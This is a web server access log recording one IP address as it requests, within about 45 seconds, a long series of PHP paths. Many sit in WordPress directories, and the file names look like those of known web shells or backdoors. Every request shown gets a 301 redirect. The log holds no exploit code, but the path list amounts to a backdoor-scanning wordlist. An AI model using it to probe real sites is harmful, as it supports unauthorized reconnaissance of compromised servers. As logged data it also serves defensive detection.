[16/Apr/2025:21:38:45 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:46 -0400] "GET /components/ovaxqhsbg.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:46 -0400] "GET /cwuvvcbn.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:46 -0400] "GET /rwvri.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:46 -0400] "GET /.well-known/acme-challenge/jmfi2.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:46 -0400] "GET /templates/beez3/1.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:47 -0400] "GET /wp-includes/images/media/code-text.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:47 -0400] "GET /wp-admin/includes/moon.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:47 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:47 -0400] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:47 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:47 -0400] "GET /wp-content/themes/jobok/en.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:48 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:48 -0400] "GET /wp-content/themes/astra/inc/customizer/custom-controls/description/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:48 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:48 -0400] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:49 -0400] "GET /wp-content/plugins/bguoclz/ovaivknnc.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:49 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:49 -0400] "GET /wp/ab.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:49 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:50 -0400] "GET /.well-known/pki-validation/asyaddpi.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:50 -0400] "GET /wp-admin/js/widgets/class.api.php999 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:50 -0400] "GET /tmp/.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:50 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:50 -0400] "GET /wp-includes/class-wp-session-href.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:50 -0400] "GET /wp-includes/js/tinymce/plugins/image/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:51 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:51 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:51 -0400] "GET /wp-admin/maint/01imunify.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:51 -0400] "GET /.well-known/pki-validation/3c2b55bd-fabd-419b-9718-66fbcf89acc5.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:52 -0400] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:52 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:52 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:52 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:52 -0400] "GET /.well-known/hdkmnjbd.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:53 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:53 -0400] "GET /S.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:53 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:53 -0400] "GET /wp-includes/goods.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:54 -0400] "GET /OLD-UP-ova.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:54 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:54 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:54 -0400] "GET /wp-includes/blocks/table/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:54 -0400] "GET /.well-known/pki-validation/65d9b536-ce5f-497e-8c82-8ee66c78d293.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:55 -0400] "GET /about/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:55 -0400] "GET /wordpress/wp-content/plugins/HHX6zQm6DLw3Ae6bxM4VOR/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:55 -0400] "GET /wordpress/wp-includes/css/dist/list-reusable-blocks/ovatthttr.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:55 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:55 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:56 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:56 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:56 -0400] "GET /ckgdg.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:56 -0400] "GET /wp-admin/maint/buy.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:56 -0400] "GET /wp-content/themes/seotheme/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:57 -0400] "GET /wp-includes/rest-api/search/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:57 -0400] "GET /.wp-db.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:57 -0400] "GET /wp-admin/includes/about.php7 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:57 -0400] "GET /wp-includes/ID3/custom-file-4-1735114949.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:57 -0400] "GET /storage/filemanager.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:58 -0400] "GET /wp-content/uploads/SakMaDic.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:58 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:58 -0400] "GET /blog.php7 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:58 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:58 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:59 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:59 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:59 -0400] "GET /wp-admin/images/license.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:59 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:59 -0400] "GET /home/function.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:38:59 -0400] "GET /urcudivu.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:00 -0400] "GET /wp-content/plugins/erinyani/gebase.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:00 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:00 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:00 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:00 -0400] "GET /wp-includes/css/cong.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:01 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:01 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:01 -0400] "GET /dhemowfu.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:01 -0400] "GET /uploads/683584ibal.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:02 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:02 -0400] "GET /.well-known/pki-validation/xp.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:02 -0400] "GET /wp-admin/51axqg6EDPQ.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:02 -0400] "GET /wp-admin/images/a2.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:02 -0400] "GET /wp-content/plugins/dywdsmx/ovailqjzg.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:03 -0400] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:03 -0400] "GET /wp_wol.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:03 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:03 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:03 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:04 -0400] "GET /wp-admin/network/file.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:04 -0400] "GET /wp-content/sxo.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:04 -0400] "GET /wp-includes/images/crystal/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:04 -0400] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:04 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:05 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:05 -0400] "GET /wp-content/wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:05 -0400] "GET /wp-includes/Requests/about.php7 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:05 -0400] "GET /wp-content/uploads/id.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:06 -0400] "GET /.well-known/pki-validation/sxo.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:06 -0400] "GET /templates/atomic/templates.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:06 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:06 -0400] "GET /wp-admin/images/wp-ksv1i.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:06 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:06 -0400] "GET /wp-includes/css/page.template.1735117956.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:07 -0400] "GET /sck.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:07 -0400] "GET /css/kraoqapd.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:07 -0400] "GET /sbijnocj.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:07 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:08 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:08 -0400] "GET /wp-content/uploads/wpr-addons/forms/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:08 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:08 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:08 -0400] "GET /wp-admin/js/a2.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:09 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:09 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:09 -0400] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:09 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:10 -0400] "GET /wp-admin/css/daren.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:10 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:10 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/Ge/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:10 -0400] "GET /wp-admin/includes/zipp.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:10 -0400] "GET /wp-content/uploads/showupload.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:11 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:11 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:11 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:11 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/ovakvbycd.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:12 -0400] "GET /wp-admin/includes/class_api.php999 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:12 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:12 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:12 -0400] "GET /1rbxb768.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:12 -0400] "GET /he.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:13 -0400] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:13 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:13 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:13 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:14 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:14 -0400] "GET /wp-admin/js/widgets/jLFgZjjsqs.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:14 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:14 -0400] "GET /wp-content/themes/seotheme/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:14 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:15 -0400] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:15 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:15 -0400] "GET /wp-includes/yes.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:15 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:15 -0400] "GET /wp-content/termps.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:15 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:16 -0400] "GET /epdwm.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:16 -0400] "GET /wp-content/plugins/woocommerce/assets/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:16 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:17 -0400] "GET /wp-includes/Text/Diff/Renderer/eqw5de.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:17 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:17 -0400] "GET /.well-known/acme-challenge/tiny.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:17 -0400] "GET /assets/images/206d2bdfbd.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:17 -0400] "GET /cvawk.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:18 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:18 -0400] "GET /wp-admin/js/widgets/text-widgets.min.js.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:18 -0400] "GET /wp-includes/1671b870622bf3admin.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:18 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:18 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:19 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:19 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:19 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:19 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:19 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:20 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:20 -0400] "GET /wp-includes/Requests/library/about.php7 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:20 -0400] "GET /.well-known/siuqzorv.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:20 -0400] "GET /wp-admin/css/colors/coffee/css.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:20 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:21 -0400] "GET /.well-known/pki-validation/ahzjhofz.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:21 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:21 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:21 -0400] "GET /wp-admin/js/widgets/sxo.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:21 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:22 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:22 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:22 -0400] "GET /components/attari.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:22 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:22 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:23 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:23 -0400] "GET /wp-admin/includes/legendneverdie.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:23 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:23 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:23 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:24 -0400] "GET /cong.php935 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:24 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:24 -0400] "GET /wp-content/plugins/portfolio-post-type/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:24 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:25 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:25 -0400] "GET /wp-content/languages/file.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:25 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:25 -0400] "GET /wp-includes/images/wthvideo.min.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:25 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:26 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:26 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:26 -0400] "GET /csxcvtg6v?key=51851b87a35f6a6288e1eef649afb2dccss.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:26 -0400] "GET /wp-admin/css/colors/sunrise/HmfdSRigQv.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:26 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:27 -0400] "GET /css/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:27 -0400] "GET /bovaxayy.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:27 -0400] "GET /wp-admin/css/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:27 -0400] "GET /wp-includes/ovackgowa.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:27 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:28 -0400] "GET /shirtkobain/mail.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:28 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:28 -0400] "GET /wp-includes/wp-class-entry-shield.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:28 -0400] "GET /.well-known/tiny.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:28 -0400] "GET /wp-admin/css/upgrade.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:28 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:29 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:29 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:29 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:29 -0400] "GET /wp-content/plugins/wxzanln/ovarxggtq.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:29 -0400] "GET /.well-known/acme-challenge/index_php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:30 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:30 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:30 -0400] "GET /ulc6.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:30 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - 